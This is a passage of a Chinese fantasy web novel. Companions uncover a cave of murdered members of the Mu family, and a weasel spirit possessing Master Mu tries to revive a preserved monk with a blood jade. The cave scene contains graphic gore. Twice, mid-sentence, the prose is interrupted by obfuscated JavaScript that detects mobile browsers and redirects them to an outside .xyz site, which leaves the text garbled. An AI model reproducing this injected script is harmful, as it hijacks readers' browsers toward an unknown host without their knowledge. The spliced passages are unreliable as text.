独翊急忙避开,好像没什么可以抵挡的,这场景也不方便动手,他并非不会武功,只是他行事散漫,这般慌乱之下也无可奈何,正想不到更好的办法,于是只能离远一些,想等这把剑渐渐失去灵气再去夺走,可是他想错了,原以为这把剑是吸收血气后便可复旧如初,可也在吸收秽气! 二者若是都被吸收殆尽,可谓是在这把剑上真伪难辨,又少不了相生共存。 定睛一看,狌狌的左胸口竟然流出潺潺血水,内里腐臭,早已空洞不堪,独翊知悉,这处定是养存“假”血玉的地方,一路下来,反倒是这狌狌被黄鼠狼利用,落得下场凄惨也不见它回来救难,直到这把剑把它全身的血液吸收殆尽,早已是一具枯死的躯壳。 回想刚刚孤立无援的模样,倒也有几分令人同情,但是绝不会说出口,毕竟作为山中精怪虽遭逢如此事态,本就不是他人能掌控的,后者如若有伤人性命之忧,必然得以绝后患。 事后,这把剑恢复了原来那样古朴沉重的气息,并且也清亮了许多,趁着间隙,独翊刚想从它的手上拿走剑,刚伸手过去,还没摸到剑柄,山魈身子一抖,伸到剑中边缘时却好巧不巧的被划了一小口,正当无感,流出的血也立马被吸收了,此时这把剑却没有很大的动静。 似乎还有些回春!温暖的感觉?!难道不是因为沾了血才得以显灵?而是血中也带秽气?这狌狌则是全身上下的血液都于秽气之中集中形成!所以就是被吸收干净了? 独翊用另一只手握紧了剑,不紧不慢的掂量了两下,大可以是承受的重量,一边看着愈合的中指,看着一旁倒地的狌狌,神色微怔喃喃道:“奇怪,感觉没那么严重。” 为了防止有人上山被眼前的一幕惊吓到,独翊准备挖一个坑将狌狌埋葬,忽然想到了手中的这把剑,挖坑兴许不错?但他试了几下,还是有些难挖,折腾了半天才挖出一小个坑,这土不怎么松软,实在是费劲,正当他转头的一瞬,那尸身正渐渐散去实体,湮灭四散无影无踪。 独翊只好就此作罢,仔细又想想屋中古泛舟曾取下的名字。 此剑名为后生? 回想那一幕,那可真是后生可畏…… 13. 雕? ^ 一路循着月光慢慢穿过山林,窸窸窣窣的声音倒是明显了多,不去多想,独翊加快脚步,终于又听见了熟悉的声音。 还没汇合的途中,独翊察觉到前方树上有个影子,虽然很黑,但是能看得清是只猫头鹰,它蹲在树枝中间,虽然身子朝前,头转过身后,耳羽藏匿于眼旁两侧,形成一个有形的弧度。 听到有动静了,便恢复到原来的模样望向独翊,朝着边缘平移了两步紧盯着他,看见他像是激动的传出几声暗哑的“咕咕”叫,一眼不眨的模样实在是有些可爱。 独翊见状,注意也都朝上面看去,两方抬头注视良久,仅是神色游离了一瞬,但好在想起自己还有正事要做,便朝它扬了扬嘴角就回过头,继续朝前走去。 四周终于空旷了许多,楼少渊看着前方的两人,顿时气不打一处来:“不是,我拿你师兄的剑干嘛?吃饱了撑着?!你师兄才奇怪好吧,剑没了就怪我?” 兰桡也气急,掀卷衣袖直指怒骂:“要不是你跟着我们,能遇到这茬事吗?” 楼少渊双手抱臂,听兰桡如此气盛,也毫不示弱:“你还好意思说,要不是半路把你引到清明处,你还在原地打圈呢!” “谁让你把我扯出来了,我自己的办法多的是!用得着你?” “用不着?那你也跟着我后头出来了!你聋还是我瞎!!” 两人争吵不定,古泛舟也不好相劝,一心还寻思独翊怎么没有回来,莫不是真的出了什么事情?刚才自己不知不觉的就离开了那间木屋,路上一直没有感知,剑也是丢了,回头路是更摸不着,却无意中来到了这,还好兰桡先行认出是他,不然还以为又进入了幻境。 “只要楼兄平安无事就好。” 独翊从暗处走来,抬眼看见前方三人平安无事,手握后生剑走近,那剑鞘还留在古泛舟身上,便将剑柄那头递上去,“拿好。” 楼少渊看见来人一通鬼叫,抓住了独翊的衣袂直晃,身形摇摆不定,想来受气:“你终于来了!” 独翊一脸歉意,赧然一笑:“抱歉楼兄,刚才那阵迷雾确实奇怪,无意中竟也让我从你身边走散,这才让你久等了。” 古泛舟微微颔首,接住了剑后道了声谢。回想刚才独翊让他喝过糖水后的那一幕,实在是难以启齿,令他心神恍惚了一阵,难道真的是从中加了什么东西?思考着抿了抿嘴,看着独翊气定神闲这副模样,实在是不好联想。如若是真,也算是报了最开始的大不敬? 兰桡见状悠悠地扫了独翊一身,又把视线转移回了古泛舟手上后,假意惊叹:“呦?还真是剑~” 古泛舟自然没注意这番言语,独翊还没理解其中用意的时候,反而感觉身上的某股力量轻了,一眼瞟见楼少渊只身朝前扑去,猛得一脚就往兰桡身上踹,兰桡现在也只是个十四五岁的少年,身形倒是没有楼少渊高,这一脚差点闷断了他的胸腔,兰桡也不甘落后,伸手抓住他的衣领,二人来回打作一团,楼少渊颇为强势,兰桡被打的侧身伏地,掌心沾泥,正喘息未定,更来不及反击!还没抬手拔剑,一手反被楼少渊夺走,随意扔到了一旁,直至压在兰桡身上传出一阵闷哼,这才停下。 “事已至此,难不成还想在这耗下去?”见两人停歇,古泛舟作拳轻咳了两声,才意识到兰桡这般出言无状,楼少渊却不想起身,见况他只好提起楼少渊的后领将他们分开,他比两人年长几岁,但碍于这么短时间内不能再耗下去,容忍度也没了多少,说话只好强硬了些。 楼少渊闻言停了手,后知后觉间,兰桡某处也开始传来痛感,他只能强忍着痛,来不急呜咽,捂着地方怒吼:“楼少渊!!你也好不到哪里去!” “那便就此作罢!下次可别让我听到你的出言不逊……!”楼少渊得意地拍了拍手,转身回到原地和独翊站在一起。 古泛舟上前把他扶起来,捡起被扔到一旁的剑递给兰桡,他强忍着伤痛处接过,向树林边吹了一声悠扬深远的口哨,听着动静不一般,直至响遏行云,独翊竟然也听着哨声明彻清醒了不少,说是被惊的耳聪目明了也不为过。 片刻之间,就看见刚刚立在树枝上那只猫头鹰扑腾了两下翅膀飞了过来,径直落到了兰桡的肩膀上,用神色打量着四周,目光极为敏锐。 这猫头鹰像是能注意到身后的目光似的,一转溜对上了独翊的目光,又咕咕了两声。 独翊现在倒是看的无比清晰,这猫头鹰的身形确实很大,只不过这声叫唤的锐气骤减,跟它的模样着实不太符合,如此仅看表面,这一人一枭也能凌风壮胆。 兰桡对着肩膀那头喝叱一声:“泛舟师兄,我们走。” 楼少渊脸色如常,刚才厮打在一起的时候,惹得多缕发丝都贴在脸上,接着翻手朝后甩去,此刻又学着兰桡这般阴阳怪气:“呦~泛舟师兄,我们走~” 古泛舟摸了摸鼻子,开始左右为难了起来,这才更不好回驳了:“……” 兰桡:……怎么感觉我亏了???? …… 一行人进入山洞,燃起的火把也不足以照亮四人的脸庞,这个山洞确实很隐蔽,越往前走,腥锈的气味弥漫开来,那只猫头鹰一路走来一直在咕咕叫唤,似乎是暗示着深处的秘密。 “咕咕……” 独翊看着兰桡肩膀上的猫头鹰一直朝他叫唤不停,果不其然,直至进入山洞那刻起,猫头鹰的头一直没有改变过,紧盯着独翊叫唤,像是在透过独翊洞察另外一个灵魂。 楼少渊顿时也注意到了,伸手将系在脖子上的铜镜拿了下来放入怀中,顺势搭上独翊的肩头:“我说少年,你能不能管管你家猫子,总是盯着我家独翊看?就算我们家独翊太帅也总不能只盯着他一个人看吧?” “我哪知道它今天莫名其妙的只盯着他看。”兰桡一字一顿地说着,又瞧去独翊一眼,顺着毛摸了摸猫头鹰的背,终于正过来了,顺势嘀咕了一声,“反正鸟都不鸟你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15087003|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音虽小,略有回声,四人踏步入洞内时只觉到处红晕绕眼,深究里面竟别有洞天,只见周边的石壁里被凿出些大小不一的坑洞,有些大洞口处都立有一支正待燃烧的蜡烛,殷色漫溢,或许每当烧完都会再续上一根,才使洞口蜡油形成凝集,以此反复堆积起来,已经照不见最深处了,有些洞外的蜡烛也早已见底燃烧。 忽然一阵激动起来,猫头鹰立马朝着洞里叫唤:“咕咕!” 独翊:“好浓的血腥味。” 兰桡:“好残忍。” 忽然眼前一黑的楼少渊:“……” 其实也很想看一眼的铜镜月:“……” 见到里头的如此场景,说是一场家破人亡的杀戮也不为过,先前此处必定遭遇过血雨腥风,数名尸体的身肢被穿刺在尖石上,而这些突出尖刺的方位,却不像钟乳石那样普遍从上至下延伸,而是在左右两面未经凿刻的石墙上,打磨出像滚钉床那样的尖钉铁刺,突出的横刺是为粗中凿细,就是为了把人死死的钉入其中,不能动弹。 好几颗浸血的头颅被旧裳遮住掩盖,塞入了凿出的小坑洞中,还留几个塞不进去,就连皮带肉的滚在了地上,尸首上的伤痕简直是惨不忍睹,不堪入目,有些人的面部甚至都被啃食了好几口,一些没有被彻底咬断的位置,保留着几处不平整的齿痕,不过几日,怕是要爬满蛆虫了,见状令人实在是恶臭难忍,也让众人不得骨寒毛竖。 古泛舟往前走了两步,看着面目全非的尸体堆积成山,早已看不出模样,半蹲而下半掩鼻息,说完又立马起身回到原处,一脸疑问:“难道这就是此前失踪的穆家人?” 楼少渊早已猜出真相,暗道一声:“想都不用想,肯定是那只黄鼠狼干的。” 独翊这才转移视线,还没问楼少渊何时从雾中逃离一事,见他猜出来,背着手朝他靠近:“楼兄,你们是自己迷失了方位才找到这里来的吗?还是那东西引你们到这来的。” 楼少渊摸了摸下巴,霎时回想这份功劳,掏出了怀里的铜镜,在独翊脸上晃了晃说:“是吧?倒也不是,不过这位铜镜兄天赋过人,这才出来把我带到了清明处,中间有人唤我,我原以为是你,仔细听确实是你的声音,铜镜兄说那是妖物传来的声音,引用熟者的声音迷人心惑,无需回头,山中渐冷也不好久留,我也自然不信这番话术。” 须臾,独翊出神了一会,又问:“那兰桡呢?” 楼少渊朝那处一抬头,示意兰桡背上的猫头鹰:“那只雕鸮呗!说来也是凑巧,中途看见兰桡小儿,还以为是他迷失了方向,加快走了一段路还不是在跟着我?!原来是那猫头鹰认路慢,一行下来只得跟着我,还不如我这神镜之灵!” 独翊看着前方的兰桡有些恍惚,有些记起来了,当日在穆府的后院里,那棵槐树中间的黑坑中也是蹲着一只猫头鹰,但是不确信到底是否跟兰桡身旁的那只是一样的,如果是真的,这个兰桡到底有什么秘密,现在还无从知晓。 14. 逢别 楼少渊一手挡着脸,悄悄拉着独翊躲到了暗处,回避兰桡二人后压低了声音:“看样子是家族传承,这人的身份确实也有些奇怪,反正多留个心眼吧,虽说楼台山之大,利益总是为先的,谁知道他们此行的目的是做什么?” 独翊猜疑,最终有了半信半疑的实感:“曾经的西羌部落似乎也出过几位训鹰师,不过后来逐渐隐没平原,兰桡年纪这么小,面对这种凶悍鸟类毫不畏惧,短时间就能训练成这样子也很厉害了。” 楼少渊事后又有些沾沾自喜,也不隐藏声音了:“那东西想尽法子引我们进山洞,想要一网打尽,途中迷雾消散了不少,断定我们会控制不住好奇走进山洞!其实不然,我可没那么强的好奇心,这外头的雾气都没喘过来呢,进去了不得释放更大的。” 古泛舟目光在他身上划过,听着楼少渊传来的解释有些想笑:“楼公子的脑回路,真是奇特。” 独翊也附和着点头,一脸崇意的模样对着楼少渊连连称赞:“楼兄这么做自然有他的道理!” 兰桡侧目而视,自然不喜另外两人对楼少渊的这般“逢迎”举动,不予理睬只道:“这东西究竟想做什么?” 独翊知道两个人没经过古刹宗,便开头先解释起来:“我和楼兄先前去了趟穆府,越过墙面时,先是在穆老爷的宅院墙周围摸到了一撮毛发,想来推测,只怕是这黄鼠狼前几日类同相召时留下的,来此搬运真佛像。” 当独翊提到“真佛像”一词,兰桡疑惑,不禁失笑:“真佛像?你是说穆府也有一尊佛像?也就这么轻易地被你们发现了?” 独翊淡定的全盘托出,走过几人中间停下:“不错,真的那尊供在穆老爷房里,方位不太隐蔽,仅把主宅院和内宅院的距离分隔的很远,看来这几年都是穆老爷独自生活,所以真佛像一直没有被人发现。” 古泛舟捏紧剑身,对这番话格外惊诧:“师叔,可这东西的目的又是在哪?刚才我只觉得头晕乎乎的,那个诡异的黑袍者到底是谁?”古泛舟才想自己出去后就什么都不记得了,这剑到底是沉,提了还是甩了,不知道丢去哪里,自己却迷迷糊糊地渐行渐远,反正再清醒后只见到兰桡和楼少渊,不闻刚才事了。 独翊想起那只枯竭而亡的狌狌,才揭晓刚才的事情,再度阐述:“刚才屋外遇到那只会唤婴儿声的白毛怪物,就是狌狌,你出去后就没了动静,就是被这狌狌拿了去,它又不识剑有何神奇之效?传闻中喝下狌狌的血即可包治百病,不觉间又沾了胸间活血,有如此奇效,剑性疾风如显灵,连手也挣脱不下,凌空对峙妖物,局面一发不可收拾,深陷泥潭更束手无策,我也无可奈何……你识不得,我看的可是清楚,看他神色怪异,所以和我们碰面的根本不是什么黑袍人,而是……借着穆老爷身体“还魂”的黄鼠狼!!” “你走之后,它……如今的真身不是他自己的,而是穆老爷,真正的穆老爷早就死了,它借他身,更不知道从哪听来些异端邪说,行“借尸”讨封这等不义之事。”独翊并没有说出黄鼠狼临时把讨封这事转移到他身上,虽说讨封不成,把自己归为非比寻常一类也是莫名其妙的,再怎么说也是多余,索性掠过,“……如果这个黄鼠狼至始至终都只是想讨封的话,它肯定不会夺走禅师身上的那块血玉,真正的目的是想让禅师起死回生。” 兰桡试探性地问出:“所以这血既能包治百病,又能炼化……血玉?狌狌胸腔中的活血,是化育血玉之处?成事之后放在穆老爷身上延寿的?!” 半晌,空气中弥漫着一声死寂,古泛舟心一沉,愕然一惊:“什么!黑袍人是黄鼠狼假扮的?!刚才在第一阵迷雾中看到的虚化无形的诡异景象,莫非也是这“狌狌”?!” 兰桡心中无畏,用剑柄一撩低垂的发丝,舒眉挑眼:“看来这狌狌仅是受它愚弄,只得火中取栗,这野怪与经讨封就能得道成仙的东西,两者相较之下的能力更是截然迥异。” 楼少渊忽然注意到一些蜡烛上刻着的符文,定睛一瞧:“这是什么?” 论及此事,古泛舟闻声看去,像对此略有见闻:“这是梵文,引渡亡魂用的。” 楼少渊用余光瞥去,望见他说:“也是一计复活禅师的办法?” 古泛舟轻叹:“多半也是为渡人渡己。” 独翊问:“你是何时得知血玉的?” 古泛舟垂首:“门主……!” “哪位门主?”独翊此外更想要知道是哪位? “应当是芦门主。”古泛舟说完,独翊心中更摸不着边际,毕竟相关禅师,怎么说都理当是兄长托人前去,可是怎么会是和此事毫不相干的芦荻秋呢? “师傅与禅师之事也有了解,血玉一事在门内早已不算秘密,可他不愿干涉,芦门主却命我前来这血玉是否为真,师傅也毫不知情,毕竟来路不明,后事如何也要告知一二。” “他是做什么的?”楼少渊也疑。 “偃师。”古泛舟如实告知,芦荻秋这人门下只收了一位东阳女子为徒,名邵为雪,也是茶舍与兰桡一路同行时的女子,他之所以能成为偃师,是因为流落在外时,在外头学了一门木雕手艺,最开始算不得精湛,可是到后来,这刻出来的木偶是精雕细琢,更像是施了法般,巧化为人,显就“雕木有灵”一说,成了傀儡能说会动,实际起来也是僵硬一派,更别提无心无神了,难以两全其美,“这四位门主仅有两位是巧匠出身,另外两位则是……” 古泛舟猛然收声……! “累啊…累……到咯……” “闻到味了……” “有东西哎!有人味……两种味道……死的…活的……?” “废话!不就是我们杀的嘛……嘿嘿……还有一个在头上……” 直到看见十几只黄鼠狼有些吃力的抬着一顶红轿子,好像正抬着什么东西晃悠悠的进到洞中来,虽然都未曾化形,身躯也不足八寸,可边晃悠着边口吐人言……似乎这些黄鼠狼都已经是“近人”的模样了,窃窃私语的声音越来越近,四人顿感不妙。 “有东西来了,藏好。”独翊先开口,也没路可以出去了,言罢四个人分成了两支队伍,分别躲在暗处敛声屏息,此地唤出的声音寂寥空洞,回声不断,由于之前一些扩洞砸完的地方出现了几个暗口,早就形成了一面遮挡物,可楼少渊和独翊却是靠近在堆积的尸体旁边,等待下一次动静。 楼少渊赫然探出头来,一齐望去,那轿上竟然有尊形似“盘坐之人”的模样,全身遮盖着一顶红绸盖头,可这层盖头轻如纱薄如纸,也没隐藏的太密,自然能确定是个人了,后头的黄鼠狼正悠悠地哼着小曲,忽然前方没走稳打了个踉跄,后头的没注意差点重心不稳,猛地把座上人摔下去,还好稳住无事,可就是那么一急,这红绸盖头岂不是歪了一头? 在中间随伴而行的一只黄鼠狼见这人侧边漏了一角,自然不可怠慢,刚想重新盖好,也就是那么不知轻重的一扯!就将整个盖头掀开了! 这轿子上载着的竟然是一尊肉身佛!是一个活生生的人!闭目入深瞑之中,面色红润完全不像将死之兆!更是长眠其中,无法醒来!只见他一袭素雅蓝靛袍穿在身,肌肤之间却无半点斑驳之色,坐之清贫,泛寐如生。 这难道就是穆老爷房中那尊“真”佛像!!楼少渊震惊之余才想到血玉的传说是真的!而且他真的是因为血玉的力量,才无腐败之身,仅仅只是坐化死去?!! 随后带来的还有无尽的靓丽财宝,着实眼花缭乱,他心中明白,这就是那日清晨黄鼠狼引穆家人上山,吸引他们要把财宝从这山中转移回穆家的一部分,这样一来,穆府其余人是被黄鼠狼骗来此地有财宝,所以才被迷雾蒙蔽困入洞中,张机设阱!而当时的穆老爷既然已死,傍晚的“朝拜”异象则是黄鼠狼附体于穆老爷,借穆老爷的模样迷人心智,一步步招引剩余女眷入山,一同杀害。 古泛舟也触碰到了这般视线,浮现异象之诡,不经倒吸了一口凉气,心神摇荡不定。 完事后,洞中沉寂的只剩颇为沉重的呼吸声,拖着长调叹息,又不停喘着粗气,直到洞口出现了更长的影子时,慢悠悠地走进一抹身影,相较于那些未成型的小妖,独翊觉得熟悉,感受到了不一般的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15087004|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气息。 那只黄鼠狼身子是矮,必须再站高一点才能把盖头重新调整好,可是来不及了,一是不能触犯规矩,此次关乎后面那位“穆姓者”的讨封大计,被发现了不得火冒三丈,它更不得安宁,甚至性命不保。 “穆老爷”还是身覆那时的黑袍颤颤巍巍的从洞外进来,那把“后生”剑朝它背后挥去时留下的血痕被妖力掩盖,时不时从脚下流出的血滴暴露无遗,此刻令它心神不稳,另外妖气外泄,到底能否维持这具身体还是个迷。 如果它见了这盖头被揭下,自己面临的不就是…… “谁让你……!把他的盖头掀了的?” 说时迟那时快,后头的脚步声渐近,“穆老爷”终于发觉了这只黄鼠狼手上抓着的红绸纱,见是它掀掉了盖头,面部忽然扭作一团,顿时怒不可遏,二话不说猛地飞速窜闪一把抓起它,还没等反应过来,脖颈就被一手活活捏死了!眼珠爆突,更没来得及眼中流血泪,急躁之下就抛进了那坑洞中,外头的蜡烛也被拍了进去,不一会就先轻易点燃了红绸盖,尸体上的皮毛连同火焰一起吞噬其中,无法想象这黄鼠狼的凶悍无疑近乎癫狂! “这就是……不敬的下场……!” 其他东西不敢停下,只能装作若无其事,慢慢的上前转轿,大功告成之后又纷纷跑到“穆老爷”身后先行跪拜下来。 “楼兄,真巧,子夜了。”独翊似乎已经算到了时辰,给楼少渊提了个醒,楼少渊见状更是精神百倍。 只剩“穆老爷”的双膝跪下来,身子背弓着也似磕了个头,借着穆老爷的身,两手伏地,最后拼命用妖力稳固魂魄,眼周泛白,瞳孔急剧缩小!掀开沾满了泥污的黑袍,犹如一位风前残烛的老者,像是吊着最后一口气颤动的说出:“晚辈拜谒禅师……寻求正果,自来讨封,为禅师超脱自身自愿奉献家族眷属之命,为保后生之德……!” 看着如此诡异的一幕,那尊佛像也不为所动,这黄鼠狼莫非是想要成仙成疯了! “后生……之德?”楼少渊不禁暗叹,转头看了一眼那些身首异处的尸体,属实不解,又啧啧称奇,“若是别有用心之人将这尊肉身挖出,立于庙前作高堂佛辟佑家宅安康也就算了,不知道的还以为哪个狼心狗肺的把人家祖坟给挖了!要是这禅师真能听了进去活了过来,利用活人骨肉祭天岂不是有违天道?” 独翊嘴角干涩,心中无言。 正当黄鼠狼要进行下一步动作的时候,洞外悄然无声息走进来一个人,这让本就身体被黑袍的遮蔽之下的黄鼠狼显得尤为暗淡。 气绕远山时,云雾遮绕,不经意间又带来些许寒意,此番谋面的禅师带来的是一阵活气阴风,仅剩一息气若游丝悬在周围,那么这时黄鼠狼身后的那阵脚步声,又是谁的? 洞内豁然开朗起来,寥色浮云掩映之下,来者竟也不藏相貌,一双银瞳显得淡漠无魂,面轻如薄玉,君系白衣,发丝如银,犹如霜兰傲立,又于萧瑟之中走近,识者幽兰藏香,其者郎艳独绝,颇具白云出岫之势,不尽寻常之美,他人腰间坠挂着一块与银痕相嵌合的白玉雕,痕路则是一株兰花草,这琼琚雕兰连同袖袂融为一体,微步行至其间,缓住步伐后才朝着四周凝视了起来,观其异样。 这场面,似乎正是为了这场祭祀而来。 楼少渊循声见貌,侧头一看独翊:“这也是妖?独翊……?”却不见身影,后身传来温热的距离,遭不住独翊蹲在他身后了,誓要把自己藏起来,一点也没带犹豫地朝他身后挪了挪:“这不好,楼兄就不要难为我了,若是我真有毁天灭地的本事,那我一定站你前头,我们要不问问古……” 楼少渊好不容易憋住了一个喷嚏,捂嘴打岔:“得了吧!你也不想想那个兰桡被我踹了一脚,刚刚斜眼一瞪没看见吗?估计都还记恨我!” 独翊内心揶揄,细想刚才洞外之事:这楼兄所言……真的才一脚吗? 此番红晕醉眼朦胧其中,只有身上的白玉雕灵光夺目,窥照一番尽显幽怨,触目一面可见凄凉,锦玉性情寡言,一瞬之间眸色颤动,变得犹为灼目:“禅师……?” 15. 瑕瑜 “你是什么东西?!” “你是什么东西?!” “穆老爷”的眼神还未恢复正常,一转头就察觉面前有一道白影缓缓行来,眼中瞳孔早已涣散至尽,只能无措地将胸前两只手并成弯曲状,虽看不见却也嗅得到,身子又略显不安的颤了颤,早就开始对此人提心吊胆了,面前只有起头的一两只黄鼠狼地围着他叫唤,却也始终不敢靠近。 锦玉回过神,对它们的动静自然漠然不闻,一路走来浮想联翩,总感觉这一幕不真切,可实实在在的遇到了这些事,心中总有千言万语,哪怕久别重逢也难述。 “穆姓者是!你也是……!统统都是狗杂碎!死杂种……!凭什么又要让我付之一炬?!!”洞内都传递着鬼哭狼嗥一片和啐骂声,“穆老爷”阴沉着脸,见他多次无言,更是连同底下的黄鼠狼朝他嘶嚎!情急纠结下,再不多想,手尖立马化成利爪向他抓去,却没有化出原形,锦玉见状举目微蹙,心中不惊,见它袭来时就化作一缕云雾散尽,也让这“穆老爷”袭来时,扑了个空。 意为此举无心恋战,只身幻化在禅师面前,锦玉走近身前,一眼扫过他的脸,神色惺忪片刻:“我无心害你。” “……凭什么相信你?”穆老爷独自站起,四下皆愣神了一会,对于这个道行的妖它并不了解,甚至都不能称之为妖,而是本身游行于深山之中,无处寻觅的“山神”一类,可是两方从未有瓜葛,这禅师怎么也被惦记?难道这禅师更有特别之处? 见他不应,犹疑之下只好沿着曾经的记忆,先行道来。 这花禅穆一生于官宦世家,家里世代从官,但无心治理家族事业,喜欢云游四方,只求入禅道,后得偿所愿。 没入禅道之前,曾抵制过其他心性顽劣的官宦子弟,还俗当日却惨遭报复,家族的事业被官商勾结,虽风起一波,可又无能为力,寡不敌众,被一行人压迫受害,丢入深山之中,再无讯息。 他怀中揣着一块玉石,虽然不知道从何得来,途中即便遭遇不幸也不曾丢弃或者被人争夺去,即便伤痕累累,也牢牢地紧握在手中,直到身上的血沾上玉石时,玉中灵气和血肉更相融合,定是积怨成恨,进入自我封闭,不死还生。 可好巧不巧,十几年前,有位自称是穆姓的老者在深山中找到了这尊“佛像”,便召集手下将其抬出,当时的场面,也是用红盖头抬下山来,众人都以为是挖出了什么稀罕物,也没漏出半点消息,后面传扬这尊佛像早已立于庙前,这才不了了之。 可天下哪有不漏风的墙,还是有人看出了是一尊活人肉身的痕迹……不过这人自然不是民众,而是穆老爷的房中大夫人,起初穆老爷只娶了一位夫人,直到穆府的每年祭祖之风真正完善下来后,又迎娶了好几房妾室。 有日是巧合,穆老爷在外办事,家中夫人觉得过几日便是祭祀了,预想穆老爷回来之前都将住宅上下都理上一番,在此之前穆老爷一直都是与她分开居住的,他也下令不能让任何人进入他的内庭院以及房间,就算是夫人也不行,夫人知道穆老爷是隐瞒了什么东西,却也不向外来袒露,外人看来也无足轻重,只觉得他只想一人住的清净,她也只能言听计从,可这天夫人却打定主意,必须给穆府上下理上一通。 这穆老爷的房中打理自然是大夫人去做,这房间里外实在干净,她怕穆老爷临时回来,所以不到一刻钟就想着出去,但是她却瞧见墙上的一幅画轴,固然有灰尘堆积,便想着拿下来扫一下灰。 可这一拿,却悄然发现了房中藏着的那尊——肉身佛! 夫人是个聪明人,她也明白了是怎么回事,一没作声的把字画贴墙挂回原处,出去后就下令所有人离开内庭院,也包括她自己。 直到府中后几日开始祭祀的时候,正当半夜,穆老爷却偷偷将这尊肉身佛立于那棵槐树之下,他凭借月光叹息,自言自语地与“佛像”彻夜畅谈,这么古怪,夫人早就觉得不对劲了,祭祀那几日便是多加留心,也是顺着狭缝里看的清清楚楚。 穆老爷年纪已经很大了,这晚精疲力倦极了,虽然还强忍着困意,可不觉间……四周竟然有数只黄鼠狼嗅着味道来了,看着穆老爷身旁的这尊“肉身佛”,纷纷上前稽首不停作拜,窸窸窣窣的声音越来越清晰,一睁眼竟然引来了一只与孩童一般大小的黄鼠狼! 事后这只黄鼠狼却没有伤害穆老爷,而是带着一众小的离开,虽然不曾伤害穆老爷,可它从那之后却开始一直在穆府周边游荡,似乎是另有打算。 它是怎么进入穆府成为祭主的呢?缘由就是来源于内宅的大夫人!沃洲镇的百姓觉得穆老爷这些年为民造福,这般无私贡献着实不假,可贡献归贡献,对待府中人甚至是自家夫人却是克扣!虽说穆老爷有一套自家极为严苛的家训家规,可谁想没苦硬吃? 当时在并未有“祭主”主张穆府祭祀之前,午时穆老爷带领所有人祭祖时的愿景则是:风调雨顺,济世安民。他只觉得如今家道从容,并未许下什么应当纵情享乐,福禄双全之愿。可大夫人自然也是不满意穆老爷的做派,当晚她在槐树之下许的愿望则是:“天地聚财,享财宝不尽!” 这也并非是她一人的愿望,众人求仁得仁,积念越深,这一句话就被在周边游荡的黄鼠狼听了去。 “先前有多少个不听话的乱我好事,坏我道心,要是趁早答应,早就不会流落于此了! 穆姓者私下将这尊肉身佛供于自己房中,据后者得知,这极有可能是百年前的一位云游禅师,花禅穆一!我诚心想要打探佛像的秘密,他也信庇佑之法,就在那几年,我深入穆府,成了祭主后主张穆家逢年祭祖,我骗众人槐树是和穆家先祖的“天地通灵”之地,实则就是为了保我吸收各路香火后功力大增,可这远远都不可及。 多年后便发觉穆老爷有了将死之兆,我定让他交出复活禅师之法!是他说……他信誓旦旦的说!只要我为他延寿,就可以告诉我一切!他告诉我了,告诉我……他就是花禅穆一的后人!! 他死前就是想见禅师最后一面,毕竟活人祭祀之法他也在其中谋划!所以他才大肆娶亲!我先引了少壮年入山林!后来我借了他的身引剩余穆府家中女眷入了山林!为的就是杀人积怨!催动血玉!可我杀的太早了,若是当着他的面杀,让他目睹这些人的惨状!你说他会不会后悔?不会!他这么自私的一个人!要我看,让他断子绝孙就是最对的决定!可他就是命轻!死的好!哈哈……哈哈!这点秽气也压不住,寿过百年!也够活了!你敢说他一点私心也没有吗?你真以为他从来没有想过要剜他心?夺取血玉吗?!” “穆老爷”越说越痴狂,面中晦暗至极,红晕围绕着暴戾的气息显的狡诈无比!那张面容之间不断的扭曲变换,尖牙暴露,令人毛发悚立,可怖至极! 这么一来,穆老爷是想过要夺取禅师身上的那块血玉,可是途中却踌躇不已,若是禅师真的因为没了血玉而死,那所做的一切岂不是白费了?如果和黄鼠狼承诺并且达成交易复活禅师,那便可让它借他身,等到花禅穆一真正复活后,再讨封不迟! 不过穆姓者如今已死,临时起意的妄念也终归虚无,再怎么多说也是无济于事。 锦玉神色一黯,上前一步与禅师齐平,像是想要断绝这个说法,冷涩掀眸:“他不会封正,更没有后人。” “穆老爷”只觉得此人极为天真,随即冷哼:“我不信!那他为什么会知道有关花禅穆一的一切!你现在来和我说不切实际?从他挖出佛像的时候!立庙时的调虎离山!刻浮雕壁画的时候!哪里会不假!” “禅师济世他方多年,穆姓者也是其中之一。”锦玉也料定了这个答案,早有定论后一语道破,自山中来时从原先的迷惑不解,到后来的一顿昭然若揭,“……兴许是不想救过他的人再度死去,连你也被他骗了去,可你为了让穆姓者延寿,用山中精怪的血铸染一块玉石,虽然间隔不久也能融作血玉,但秽气极重,能力与真正意义上的血玉截然相反,这穆姓者的身体早已一团糟,自然压不住这等秽气,只得缠身而死,你却趁机占了他的身,借势得利,这等情况下却用不到“假血玉”了,但你仍旧要控制山精为你做事,那座庙里的佛像,被挖空的胸口,仅仅是山精也需要血玉维持,不得已下山前往去寻找。 而那山中的鬼打墙,作为幻境,被迷诱的穆家人困入且破不开,按照你的计划,他们只能奔向洞中。你将这行人杀尽,意为活人祭祀,激起禅师怨念,催动血玉显灵,令禅师有意复活,可惜这种手段并无任何用处,无论有没有活人祭祀,他也是醒不过来的。” “你这怪物怎么误人子弟?且不说他都能还俗?!回来一趟怎么就不能有子孙了?你莫不是嫉妒了?哈哈哈哈哈……!难道有复活他的办法吗?!!” 